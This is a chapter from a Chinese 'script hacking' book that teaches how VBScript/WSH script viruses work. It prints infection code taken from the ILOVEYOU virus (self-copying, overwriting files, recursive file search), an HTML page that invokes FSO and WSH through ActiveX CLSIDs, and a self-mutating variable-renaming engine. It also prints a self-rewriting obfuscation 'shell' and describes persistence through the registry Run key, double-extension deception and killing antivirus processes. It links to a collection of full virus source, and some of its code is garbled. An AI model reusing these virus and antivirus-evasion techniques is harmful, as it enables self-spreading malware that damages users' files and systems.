        File System Object 简称 FSO。是微软 ASP 的一个对文件操作的控件,该控件可以对服务器进行读取、新建、修改、删除目录以及文件的操作。是 ASP 编程中非常有用的一个控件。但是因为权限控制的问题,很多虚拟主机服务器的 FSO 反而成为这台服务器的一个公开的后门,因为客户可以在自己的 ASP 网页里面直接就对该控件编程,从而控制该服务器甚至删除服务器上的文件。在后面讲解 ASP 的时候会详细的给大家介绍,这里因为病毒使用到了,所以先给大家有一个感性的认识。

        WSH构架于ActiveX之上,通过充当ActiveX的脚本引擎控制器,为Windows用户充分利用威力强大的脚本指令语言扫清障碍。对于WSH的详细信息,大家可以去本书自带的光盘中

        查找,我已经为大家收录了一本关于WSH方面的书籍。

        下面我给大家举一个小例子,用来说明WSH的功能是如何强大、使用又是如何的简单。文件的代码如下:

        Set fso=CreatObject("Scripting.FileSystemObject") fso.GetFile("C:\Hello.txt").Copy("H:\HelloWorld.txt")

        //假设C盘根目录存在文件Hello.txt,否则上一行就运行时出错

        就是这两行就可以完成拷贝文件到制定地点,并重命名。第一行创建一个文件系统对象(File System Object FSO),第二行利用这个文件系统对象获取目标文件,即C:\Hello.txt指明的文件,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到H盘并重命名。这也是用VBScript编写病毒的一个显著特点。

        下面我就大家讲解两个关于WSH的例子。

        (1)、访问文件系统 WScript.Echo("利用WSH访问文件系统") dim objDir

        set objDir=WScript.Createobject("Scripting.FileSystemObject")

        //使用FSO对象 For k=1 to 10

        sNewFolder="H:\WshSample" //给新的文件夹命名 Next

        set objShell=WScript.CreateObject("Wscript.Shell")

        //启动shell对象 objShell.Run("notepad"&WScript.ScriptFullName)

        //用shell对象启动记事本,并打开脚本文件

        set fso=WScript.CreateObject("Scripting.FileSystemObject") set tsObj=fso.CreateTextFile("C:\TestFile.txt",True)

        //在C盘根目录下创建一个文本文件TestFile.txt

        tsObj.WriteLine("利用WSH访问文件夹系统") tsObj.Close

        单单从这里可以看出,如果禁止了FileSystemObject那么就可以有效的控制这种病毒的传播。用RegSvr32 scrrun.DLL /u这条命令就可以禁止文件系统对象。如果禁止了文件系统对象,那么在执行代码的时候就会出现错误。

        (2)、访问注册表

        用VBScript访问注册表,必须先创建一个能与操作系统沟通的对象,再利用这个对象的各种方法对注册表进行操作,创建这个对象的方法和格式如下:

        Set 对象变量名=Wscript.CreateObject("Wscript.Shell")

        如,Set regWsh=Wscript.CreateObject("Wscript.Shell")就可以创建一个名为regWsh的对象了。

        有了这个对象,还要用到几个重要的方法才能够达到访问注册表的目的。常用的方法有以下几种:

        ①、读注册表键值的操作RegRead。格式为:regWsh.RegRead(路径参数)

        ②、创建/修改注册表键值的操作RegWrite。

        格式为:regWsh.RegWrite 路径参数,值[,值类型]

        说明:当被操作的“路径参数”不存在时,创建该主键或键值;反之,则修改原有的键值。

        ③、删除注册表键值的操作RegDelete。格式为regWsh.RegDelete 路径参数

        路径参数指出了操作的对象,有根键、主键路径和键值三部分组成,各部分表示的的方法如下:

        ①、根键。根键有两种表示方法:缩写形式(Short)和完整形式(Long),相互对应关系如表 4-13所示。

        缩 写 形 式 完 整 形 式 缩 写 形 式 完 整 形 式

        HKCU HKEY_CURRENT_USER 无 HKEY_USERS

        HKLM HKEY_LOCAL_MACHINE 无 HKEY_CURRENT_CONFIG HKCR HKEY_CLASSES_ROOT

        表4-13

        ②、主键路径。主键路径就是目标键在注册表中的主键位置,各个主键之间用“\”分隔,如:“\Software\Microsoft\Windows\CurrentVersion\RainbowOnSites”。

        ③、键值。键值参数可以省去不写,这时,所有的操作都只针对整个主键进行,而不是该主键的某个值。如果想对某个主键下的某个键值进行操作,则应包含一部分,直接接在主键路径之后即可。例如,一个完整的参数如下所示: "HKCU\Software\Microsoft\Windows\CurrentVersion\RainbowOnSites\NoRun"

        下面就给大家讲解一段操作注册表的程序,代码如下:

        Dim RegWsh,sReadKey,sPrompt,sFixprompt

        Set RegWsh = WScript.CreateObject("WScript.Shell") RegWsh.RegWrite "HKCU\MyRegKey\", "一级键值" sReadKey=RegWsh.RegRead("HKCU\MyRegKey\")

        sPrompt="(默认)键值为:'"&sReadKey&"'"&sFixprompt msgbox "读取的 HKCU\MyRegKey\下"&sPrompt

        RegWsh.RegWrite "HKCU\MyRegKey\Entry\", "二级子键" sReadKey=RegWsh.RegRead("HKCU\MyRegKey\Entry\")

        sPrompt="(默认)键值为:'"&sReadKey&"'"& sReadKey msgbox "读取的 HKCU\MyRegKey\Entry\下"&sPrompt

        RegWsh.RegWrite "HKCU\MyRegKey\Entry\", "修改后的二级子键" sReadKey=RegWsh.RegRead("HKCU\MyRegKey\Entry\")

        sPrompt="(默认)键值已经修改为:'"&sReadKey msgbox "读取的 HKCU\MyRegKey\Entry\下"&sPrompt

        MsgBox"将数值项 HKCU\MyRegKey\Value 设为字符类型(REG_SZ),数值为 1" RegWsh.RegWrite "HKCU\MyRegKey\Value", 1

        MsgBox "将数值项 HKCU\MyRegKey\Entry 设为 双字节型(REG_DWORD), 数值为 2" RegWsh.RegWrite "HKCU\MyRegKey\Entry", 2, "REG_DWORD"

        MsgBox "将数值项 HKCU\MyRegKey\Entry\Value1 设为二进制类型 (REG_BINARY),数值为 3"

        RegWsh.RegWrite "HKCU\MyRegKey\Entry\Value1",3, "REG_BINARY" MsgBox "以下将删除 HKCU\MyRegKey\Entry\Value1 数值"

        RegWsh.RegDelete "HKCU\MyRegKey\Entry\Value1"

        MsgBox "以下将删除 HKCU\MyRegKey\Entry 主键" RegWsh.RegDelete "HKCU\MyRegKey\Entry\"

        MsgBox "以下将删除 HKCU\MyRegKey 主键" RegWsh.RegDelete "HKCU\MyRegKey\"

        只要把上面的VBScript编写的操作注册表的代码放在网页文件中,不用对代码进行任何修改,只需要在上面的代码前后分别加上<script language=VBScript></script>即可。用它可以修改我们IE浏览器的主页、可以修改系统的各个参数,万花谷病毒就充分利用了注册表,以达到破坏的目的。

      2. 脚本病毒的特点

        要了解脚本病毒,其特点是首先要掌握的,理解了它特点就可以对脚本病毒从整体上有一个把握了。我们就以VBScript为例子进行说明。

        VBScript 利用 Windows 系统的开放性特点,通过调用一些现成的 Windows 对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用 VBS 实现时变得极其容易。VBS 脚本病毒具有如下几个特点:

        1. 编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。

        2. 破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。

        3. 感染力强。由于脚本是直接解释执行,并且它不需要像 PE 病毒那样,需要做复杂的 PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。

        4. 传播范围大。这类病毒通过 htm 文档,Email 附件或其它方式,可以在很短时间内传遍世界各地。

        5. 病毒源码容易被获取,变种多。由于 VBS 病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。

        6. 欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个 jpg 图片文件。

        7. 使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。

      3. 脚本病毒原理分析

(1)、vbs脚本病毒如何感染、搜索文件

VBS 脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,比如新欢乐时光病毒就是将自己的代码附加在.htm 文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs 作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理,以下是文件感染的部分关键代码:

Set fso=createobject("scripting.filesystemobject")

//创建一个文件系统对象

set self=fso.opentextfile(wscript.scriptfullname,1)

//读打开当前文件(即病毒本身) vbscopy=self.readall

//读取病毒全部代码到字符串变量 vbscopy set ap=fso.opentextfile(目标文件.path,2,true)

// 写打开目标文件,准备写入病毒代码

ap.write vbscopy '

//将病毒代码覆盖目标文件 ap.close

set cop=fso.getfile("C:\test.txt")

//得到目标文件路径 cop.copy("C:\test.txt" & ".vbs") '

//创建另外一个病毒文件(以.vbs 为后缀)目标文件.delete(true)

//删除目标文件

上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量

vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、

vbs 为后缀的文件副本 test.txt.vbs,最后删除目标文件。如果文件夹设置为"隐藏已知文

件类型的扩展名",则用户看到的仍然是 test.txt,而真正的文件扩展名为.vbs 被隐藏),用户看到的只是文件的图标已经改变。

下面我们具体分析一下文件搜索代码:

//该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本 sub scan(folder_) //scan 函数定义,

on error resume next //如果出现错误,直接跳过,防止弹出错误窗口

Set fso = Wscript.CreateObject("Scripting.FileSystemObject") set folder_=fso.getfolder(folder_)

set files=folder_.files //当前目录的所有文件集合 for each file in files

ext=fso.GetExtensionName(file) //获取文件后缀 ext=lcase(ext) //后缀名转换成小写字母

if ext="mp3" then //如果后缀名是 mp3,则显示文件路径及文件名 Wscript.echo (file)

end if next

set subfolders=folder_.subfolders

for each subfolder in subfolders '搜索其他目录;递归调用 scan( )

scan(subfolder) next

end sub

scan("C:") //调用 scan()搜索整个 C 盘,参数也可以是"C:\"

上面的代码就是 VBS 脚本病毒进行文件搜索的代码分析。搜索部分 scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。

(2)、vbs 脚本病毒通过网络传播的方式及代码分析

VBS 病毒之所以传播范围广,主要依赖于的网络传播功能,一般来说,脚本病毒主要通过如下的四种方式进行传播:

①、通过 E-MAIL 附件传播

②、通过局域网传播

③、通过感染 HTML、ASP、JSP、PHP

④、通过 IRC 聊天通道传播

因为本书是讲解脚本的,而且目前最主要的的传播方式还是第三点,所以这里我就给大家讲解通过感染 HTML、ASP、JSP、PHP 这种方式。

病毒之所以能够在 htm 文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒 FSO,WSH等对象能够在网页中运行的关键。

在注册表 HKEY_CLASSES_ROOT\CLSID\ 下我们可以找到这么一个主键

{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是“Windows Script Host Shell Object”。

同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是“FileSystem Object”,一般先要对 COM(组件对象模型)进行初始化,在获取相应的组件对象之后,病毒便可正确地使用 FSO、WSH 两个对象,调用它们的强大功能。下面就是一段完整的病毒怎么利用 CLSID 来调用 FSO 和 WSH 的 JavaScript 代码,如下所示:

<html>

<head>

<title>利用 CLSID 创建实例</title>

<meta http-equiv= "Content-Type" content ="text/html; charset=gb2132">

</meta>

<script language="JavaScript">

Document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")

// Applet 可以翻译为小应用程序,Java Applet 就是用 Java 语言编写的这样的一//些小应用程序,它们可以直接嵌入到网页中,并能够产生特殊的效果,在后//面会详细讲解 Function creatObj(){

Try { //try….catch 为异常处理,在后面的 JSP 中会详细讲解

Obj=document.applets[0];

Obj=setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

Obj=createInstance(); //创建一个实例 Fso=obj.GetObject(); //获取文件系统对象,以便写文件 tsObj=Fso.OpenTextFile("C:\\testCLSID.txt",2,true);

//打开 C:\\testCLSID.txt

tsObj.Write("Hello FSO") //往文件 C:\\testCLSID.txt 里写入 Hello FSO tsObj.close

obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")

obj.createInstance(); //创建一个实例 WshShell=obj.GetObject(); //获取 shell 对象,以便运行程序 WshShell.Run("notepad C:\\testCLSID.txt") //打开 C:\\testCLSID.txt

}

Catch(e)

{}

}

</script>

<body>

单击"创建实例"按钮,将会在 C 盘创建文件,并用记事本打开文件

<input type= "button" value= "创建实例" name= "btn" onclick= "creatObj(); return false">

</body>

</html>

把上面的这些代码保存为 html 的网页格式,打开看看,就看到有一个按钮,如图 4-105所示,点击按钮就可以在在 C 盘创建文件,并用记事本打开文件。我们用杀毒软件扫描看看,如图 4-106 所示,提示是发现了木马。

image

图 4-105

image

图 4-106

(3)、脚本病毒是如何获得控制权

对于病毒来说,如果没有一定的权限,那它本身就无法执行了,也就不可能进行破坏等动作了,所以如何获取控制权是每一个病毒的核心之一。下面我就给大家介绍几种脚本病毒如何获取权限的方法。

①、修改注册表

Windwos 在启动的时候,会自动加载 HEKY_LOCAL_MACHINE\software\Microsoft\Wi

ndows\CurrentVersion\Run 项下的各键值所指向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序,这样就可以保证每次机器启动的时候拿到控制权,VBS 修改注册表比较简单,直接调用 wsh.RegWrite(strName,anyvalue[,strType])语句即可。

②、通过映射文件执行方式

譬如,我们新欢乐时光将 dll 的执行方式修改为 wscript.exe。甚至可以将 exe 文件的映射指向病毒代码。

③、欺骗用户,让用户自己执行

这种方式其实和用户的心理有关。譬如,病毒在发送附件时,采用双后缀的文件名,由于默认情况下,后缀并不显示,举个例子,文件名为 beauty.jpg.vbs 的 vbs 程序显示为

beauty.jpg,这时用户往往会把它当成一张图片去点击。同样,对于用户自己磁盘中的文件,病毒在感染它们的时候,将原有文件的文件名作为前缀,vbs 作为后缀产生一个病毒文件,并删除原来文件,这样,用户就有可能将这个 vbs 文件看作自己原来的文件运行。

④、利用 decsktop.ini 和 folder.htt 互相配合

这两个文件可以用来配置活动桌面,也可以用来自定义文件夹。如果用户的目录中含有这两个文件,当用户进入该目录时,就会触发 folder.htt 中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用 folder.htt,还可能触发 exe 文件,这也可能成为病毒得到控制权的一种有效方法!

(4)、脚本病毒对抗杀毒软件的方法

病毒为了要生存,对抗反病毒软件的能力也是必需的。一般来说,VBS 脚本病毒采用如下几种对抗反病毒软件的方法。

②、变量名自动改变

可以随机选取密钥对自己的部分代码进行加密变换,使得每次感染的病毒代码都不一样,达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术,使得每次感染后的加密病毒的解密后的代码都不一样。下面看一个简单的

VBS 脚本变形引擎。

Set Of = CreateObject("Scripting.FileSystemObject")

//创建文件系统对象

vCode = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall

// 读取自身代码

fS=Array("Of", "vC", "fS", "fSC")

// 定义一个即将被替换字符的数组

For fSC = 0 To 3

vCode = Replace(vCode, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))

& Chr((Int(Rnd * 22) + 65)))

// 取 4 个随机字符替换数组 fS 中的字符串

Next

Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vCode

//将替换后的代码写回文件

上面这段代码使得该 VBS 文件在每次运行后,其 Of,vC,fS,fSC 四个字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。

③、脚本加密、加壳与变形

在新欢乐时光病毒中,可以随机选取密钥对自身的部分代码进行加密转换,使得每次感染的病毒代码都不一样,而且病毒还可以进一步地采用变形技术,使得每次感染后的甲醚

病毒在解密后的代码都不一样。

用脚本编码器 ScrEnc.EXE 之类的工具软件加密脚本,甲醚后的脚本能被 WSH 直接解释。不过加密是可逆的,所以现在所有的杀毒软件都有解码的功能。

对于 EXE 病毒的免杀,大家最先想到的应该是“加壳”吧。不过在脚本上也可以用用这个办法,例如下面的代码就是一个最简单的壳了,代码如下:

str="cswpire.tohco" ""!K"

For i=1 to Len(str) Step 3 rev=rev+StrReverse(Mid(str,i,3)) Next

Execute rev

WScript.Echo str & Chr(13) & Chr(13) & rev

这个壳就是弹出一个对话框显示 OK!,最后一行只是为了显示其运算结果。壳的算法是每 n 个字符就反转顺序一次。n 在这里是等于 3。不过这个壳是死的,起不到减少特征码的效果,反而增加了特征码,如 cswpire。

下面给大家举一个更复杂的例子,代码如下:

str="wscript.echo ""OK!"":randomize:key=int(rnd*8+2):str=rev:str=replace(str,chr(34),chr(34)+chr(34)):s et

aso=createobject(""ADODB.Stream""):with aso:.open:.writetext ""str= ""+chr(34)+str+chr(34)+"":key=""+cstr(key)+"":str=rev:execute

str:function rev():for i=1 tu len(str) step key:rev=rev+strrevrse(mid(str,i,key)):next:end

function"":.savetofile

wscript.scriptfullname,2:end with":key=1:str=rev:execute str:function rev():for i=1 to len

(str) step key:rev=rev+strreverse(mid(str,i,key)): next:end function

需要注意的是,上面的代码只有一行,没有回车换行,他的效果和上一段代码是一样的,弹出一个对话框现实 OK!。但是,代码执行完后,可能就变成下面这样的内容了: str=".tpircswKO""

ohceodnar:""!yek:ezimdnr(tni=ts:)2+8*ts:vet=rcalper=rhc,rts(ehc,) 43(rhc+)43(rs:))43(rc=osa tejboetaerODA""(tceaertS.BDhtiw:)""mpo.:osa tirw.:nes""

txeterhc+""=rtrts+)43()43(rhc+""=yek:""+ek(rtsc+rts+ver=(esrever,rts(dim:)) yek,idne:txenoitcnuf evas.:""nw elifots.tpircsluftpirc:2,

emanlgiw dne"key=8:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function

每次运行之后,代码都变成了不同的内容,也就是说这个脚本是自变形的。这个壳的算法没有变,但是 n 确是随机改变。但是,加过壳的内容每次都不同,壳本身还没有任何改变。为了更好的免杀,脚本的壳也可以动态改变,这就要用到所谓的多态技术了。

和 EXE 病毒不同的是,EXE 病毒多态是用来反动态查杀的,而脚本的多态只是对付静态查杀,两者存在的差异比较大。不影响功能的变形方法,除了上面介绍的还,还有以下几种:

随机改变大小写。

冒号(:)与回车符随机互换(字符串内和 then 之后的冒号除外)。字符串分割时,“+”与“&”随机互换。

()、+、-、*、/、&等字符两边任意添加空格或继续符(_)和回车符的组合。

用自定义函数替换内置函数,即使自定义的函数只是简单的封装内置函数,但至少起到了减少关键字的位置。

④、直接关闭杀毒软件

VBS 的功能非常的强大,它可以直接察看系统政治运行的进程,如果发现是杀毒软件的进程,那么就直接关闭它,并对它的某些关键程序进行删除,让杀毒软件无法运行。

可以综合应用“语句分割”、“变量名自动改变”、“随机改变大小写”、“+和&互换”等方法,从而达到类似于在 JAVA 中的混淆器的效果。

用户一旦浏览了含有病毒的网页,即可在毫无察觉的情况下立即感染该病毒,从而对系统造成不同程度的破坏,如默认主页被修改;主页设置被屏幕锁定,沙子选项无效不可更改;默认的 IE 搜索引擎被修改;IE 标题栏添加非法信息;outlook express 标题栏被添加非法信息;鼠标右键菜单被添加非法网站链接;在 IE 工具栏非法添加按钮;锁定地址栏的下拉菜单并添加文字信息;IE 菜单“查看”下的“源文件”项被禁止。以上都是网页病毒的一般表现,更恶意的网页则是破坏文件系统,或自动安装木马程序等。

好了,到这里我就简单的把脚本病毒给讲完了,至于完整的脚本病毒或其他病毒的代码,大家可以去 http://www.62nds.co.nz/pg/e90.php 这个网站看看。它里面收集了一些病毒的完整代码,可以供大家研究之用。

本章的基础知识主要是讲解了 VBScript 和 JavaScript。通过这些学习,大家对客户端的脚本语言应该有一个基本的了解了,至少在黑客方面的基础知识都差不多涉及到了。然后在这个基础之上让大家初步认识了通用防注入系统。通过几个实际的跨站攻击例子让大家更为熟悉的认识跨站漏洞。最后还介绍了脚本病毒,让大家在以后的查毒过程中至少对脚本病毒的特性有一定的认识。

上面的知识你是否掌握了呢?我想一路跟着我来的朋友一定都懂了吧,如果还有什么不懂的地方,可以回到前面在去复习一下,俗话说的好嘛,读书百遍,其义自现。在下一章我们将开始学习服务端的脚本语言 ASP 了,我想对脚本黑客技术感兴趣的朋友一定很想对它了解吧,那就跟着偶走咯!

声明:本章中部分 JavaScript 的基础知识参考了由海洋出版社出版的《JavaScript 动态网页编程实例手册》,该书由张长富等人编著;本章中部分 VBScript 的基础知识参考了由电子工业出版社出版的《ASP+SQL Server 动态网站开发》,该书由杨世锡等人编著;本章中部分脚本病毒知识参考了由清华大学出版社出版的《计算机病毒与反病毒技术》,该书由张仁斌等人编著。

你从本章可以学到如下几点:

1、关系数据库简介

2、SQL 的数据查询

3、SQL 的数据更新

4、SQL Server 和 MySQL 下的高级黑客技术